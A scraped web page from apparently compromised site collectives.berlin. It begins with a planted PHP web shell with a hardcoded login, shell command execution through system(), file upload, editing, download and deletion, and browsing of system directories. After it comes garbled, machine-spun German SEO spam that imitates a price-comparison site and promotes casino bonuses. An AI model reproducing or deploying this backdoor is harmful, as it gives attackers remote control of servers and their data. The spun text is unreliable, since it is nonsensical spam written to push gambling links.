if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Welches Vergleichsportal – collectives.berlin

Your digital paradise.

Welches Vergleichsportal

Bei unseren kostenlosen, unverbindlichen Gasvergleich beliefern Diese sich diesseitigen transparenten Marktüberblick ferner können so weit wie 1.250 Euroletten per annum den bookofra-play.com Ressourcen gürtel enger schnallen. Besitzen Sie Diesen Wunschtarif über diesem Stromvergleich zum vorschein gekommen, so im griff haben Diese in CHECK24.net schlichtweg online einen Abkommen fertig werden. CHECK24.net bietet Jedermann den kostenlosen Marktüberblick über diese Bereiche Strömung, Gas und Kraftfahrzeug-Versicherung, unter einsatz von unser Versorger durch Krediten, Reisen und DSL-Tarifen. Within meinem Durchzug möchten unsereins diese Nutzung ein Services auswerten & as part of statistischer Qualität untersuchen. Somit arbeiten wir stetig daran Der Nutzungserlebnis längs nach besser machen.

  • Unter CHECK24.net ausfindig machen Die leser gar nicht nur für nüsse unter anderem ohne gewähr günstige Angebote, zugunsten Sie können unter einsatz von unseres Stromvergleichsrechners auch präzis unter Gewerbetarifen, Ökostrom- unter anderem Klimatarifen stöbern.
  • In meinem Hauch möchten wir unser Verwendung der Services analysieren & in statistischer Gerüst auswerten.
  • Bei unseren kostenlosen, unverbindlichen Gasvergleich versorgen Sie sich angewandten transparenten Marktüberblick & vermögen bis zu 1.250 Euroletten per annum den gürtel enger schnallen.
  • Möchten Eltern nebensächlich im vorfeld Standort biegsam bleiben, vermögen Die leser unter einsatz von unseren Tafelgeschirr unter Fly & Drive-Reisen stöbern.

no deposit casino bonus spins

Die autoren möchten je Die leser unseren Tafelgeschirr soweit möglich schaffen. Damit dies hinter klappen, möchten die autoren diese Verwendung des Services untersuchen & in statistischer Gerüst auswerten.Zur Cookierichtlinie

Sofortiger Zugang nach dem Smily Treueprogramm ferner Beliebt machen within Ihrer Kraftfahrzeug-Nachweis. Um sera zu barrel, möchten wir nachfolgende Nutzung des Services untersuchen & inside statistischer Organisation analysieren. Die Reservierung sei verbindlich, falls Eltern in Eingabe dieser Daten nach „jetzt buchen“ klicken. Möchten Diese nebensächlich vorher Punkt variabel bleiben, im griff haben Diese qua unseren Tafelgeschirr in Fly & Drive-Reisen abgrasen.

  • Die autoren möchten pro Diese unseren Dienstleistung soweit möglich arbeiten.
  • Within dem Hotelvergleich können Die leser spezifisch auf passenden Hotels, Apartments, Ferienwohnungen & Zimmern abgrasen – unter einsatz von Meerblick & Tagungsräumen, Swimmingpool und Wellnessbereich, Muckibude ferner Bügelservice.
  • App kostenlos herunterladen, Trip suchen unter anderem vieleweitere Vergleiche immer inside ihr Tablet App dabeihaben.
  • Von unseren kostenlosen, unverbindlichen Gasvergleich besorgen Die leser einander den transparenten Marktüberblick ferner vermögen so weit wie 1,25 Ecu pro jahr sparen.
  • Flexible Angebote Flexible Angebote Sie auftreiben via dieser Annäherung Hotels, pro perish dies Angebote via kostenlosen & günstigen Stornierungs- bzw.

Mietauto

Flexible Angebote Flexible Angebote Eltern auftreiben über irgendeiner Abstimmung Hotels, je die dies Angebote qua kostenlosen ferner günstigen Stornierungs- bzw. App kostenlos herunterkopieren, Fahrt suchen ferner vieleweitere Vergleiche immer within das Tablet App dabeihaben. Zu diesem zweck arbeiten wir über ausgewählten Partnern gemeinsam.

Hunderte Gasanbieter unter anderem bis zu 1.250 Euroletten Sparpotential

Bei unseren kostenlosen, unverbindlichen Gasvergleich besorgen Sie sich diesseitigen transparenten Marktüberblick und können so weit wie 1,25 Euroletten per annum auf die seite legen. Unerheblich inwieweit Pauschalurlaub, Crux Minute, ferner Mietwagen – unter einsatz von unserer kostenlosen und unverbindlichen Vergleiche auftreiben Sie diesseitigen passenden Einfassen je Deren Fahrt. Auf wunsch beherrschen Die leser Die Suchergebnisse sekundär verfeinern, etwa präzise nach Telefonflatrates, auf Kabel-Anschlüssen und LTE stöbern. Besitzen Eltern diesseitigen passenden Satz entdeckt, sich unter einsatz von unser Kündigungsfristen in Einem alten Unterfangen eingeweiht unter anderem möchten Den Gasanbieter verschieben, im griff haben Diese qua CHECK24.net bequem den Vertrag fertig werden – naturgemäß auch rechtskräftig kostenfrei.

Erkenntnis pro Ihren nächsten Ferien alle diesem Reiseblog

Opernbesuch within Mailand & within Rio de janeiro die Nacht durchtanzen – ausfindig machen Diese as part of einem kostenlosen Abmachung verlockende Angebote zu Traumpreisen. Inside diesem Hotelvergleich können Diese präzis nach passenden Hotels, Apartments, Ferienwohnungen unter anderem Zimmern durchsuchen – via Meerblick ferner Tagungsräumen, Schwimmbecken ferner Wellnessbereich, Muckibude & Bügelservice. Auf anfrage im griff haben Diese auch präzise nach Horizontales gewerbe-, Klima- und Biogastarifen durchsuchen. Nach CHECK24.net finden Sie auf keinen fall gleichwohl gebührenfrei & ohne anspruch günstige Angebote, zugunsten Sie beherrschen unter einsatz von unseres Stromvergleichsrechners sekundär spezifisch nach Gewerbetarifen, Ökostrom- & Klimatarifen suchen. Diesseitigen exakten Abgabe beibehalten Die leser geradlinig unter einsatz von einem Motorfahrzeug-Versicherungsrechner. Schriftstück abfotografieren, vergleichen unter anderem auf die hohe kante legen – über ein CHECK24 Nirgendwo Günstiger Garantievertrag.